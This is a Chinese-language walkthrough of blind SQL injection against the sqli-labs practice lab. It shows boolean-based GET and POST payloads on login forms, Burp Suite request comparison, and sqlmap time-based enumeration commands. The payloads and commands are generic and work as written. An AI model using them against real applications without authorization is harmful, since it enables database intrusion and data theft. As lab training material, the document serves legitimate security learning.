准备环境
环境:centos7
地址:192.168.175.139
安装并开启docker(yum -y install docker)
拉取sqli靶场(docker pull docker.io/acgpiano/sqli-labs)
开启靶场(docker run -dt --name sqli-labs -p 8088:80 --rm docker.io/acgpiano/sqli-labs)
关闭防火墙或放行80端口使物理机浏览器可以访问
基于布尔的盲注
基于布尔型的盲注,我们通常采用下面的办法猜解字符串.
select length(databse());
select substr(databse(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))<N;
Get基于布尔的盲注 Sqli-Lab 8实验演示
分别输入/?id=1 和/?id=1’或者/?id=1\,返回的结果情况
可以看出有不同地方,则可以判断出这里存在注入点,可以利用这块但是爆数据不可能的
查看源码也可以看出来
然后利用布尔盲注,测试数据库名字的长度
出现you are in 则证明盲注成功
192.168.175.139:8088/Less-8/?id=1' and length(database())=8 --+
相反的如果是9,则没有任何显示
192.168.175.139:8088/Less-8/?id=1' and length(database())=9 --+
Post基于布尔的盲注
在存在的注入点POST提交的参数后,加入if判断正确或者错误的语句
select length(databse());
select substr(databse(),1,1);
select ascii(substr(database(),1,1));
select ascii(substr(database(),1,1))>N;
select ascii(substr(database(),1,1))=N;
select ascii(substr(database(),1,1))<N;
Payload//如果不知道用户名用or,但要求用户名要做到不正确,找一个最不像用户名的用户名
uname=admin' and (length(database())>7) -- &passwd=admin123456&submit=Submit
uname=dddd' or length(database())>7 -- &passwd=admin&submit=Submit
以lesson15为例
账号密码都输入admin,页面显示正常提交
输入不正常的,页面则换了一个图片,没有显示文字,页面有微小变化,因此可以判定有注入点,我们用此变化来判定数据库的名字的长度
我们可以直接在表单内注入,得出数据库名字长度为8(我是从1开始尝试到8成功)
admin' and length(database())=8 #
使用and的话前面的admin用户名要为真,如果我们没有搜集到用户名则使用or,那么用户名写一个最不像用户名的用户名,因为or要保证特别不像用户名,后面的才能正常显示。
所以布尔是用页面的微小变化来判定
除了直接在表单内注入,我们还可以使用bp抓包来判定是否有注入点
上bp(bp安装本人博客里有)
先发送一个正确的包(用户账号名admin),他返回的包里有flag.jpg,可以注意到字节数是1705
再去发一个错误的包(随便加个') ,返回包是slag.jpg,字节数也变了
在bp内注入uname=admin&passwd=admin' and length(database())=8 #&submit=Submit,返回flag,也同样说明数据库名字长度为8
利用sqlmap探测get基于时间盲注
sqlmap -h 查看sqlmap的帮助信息
B表示布尔盲注,T表示时间盲注(延迟注入)(用到的最多),E表示报错注入,U表示联合查询注入,S表示堆查询注入
--technique T 设置为只基于时间的探测技术
sqlmap -u "http://192.168.175.139:8088/Less-9/?id=1" --technique T --dbs -batch
给kali的sqlmap设置kali的bp代理(自己kali开的bp,所以设置的本地代理),可以在bp看到发出了很多请求包
sqlmap -u "http://192.168.175.139:8088/Less-9/?id=1" --technique T --dbs --proxy "http://127.0.0.1:8080" --batch
成功爆出(正常的就是一个字节一个字节爆出来的)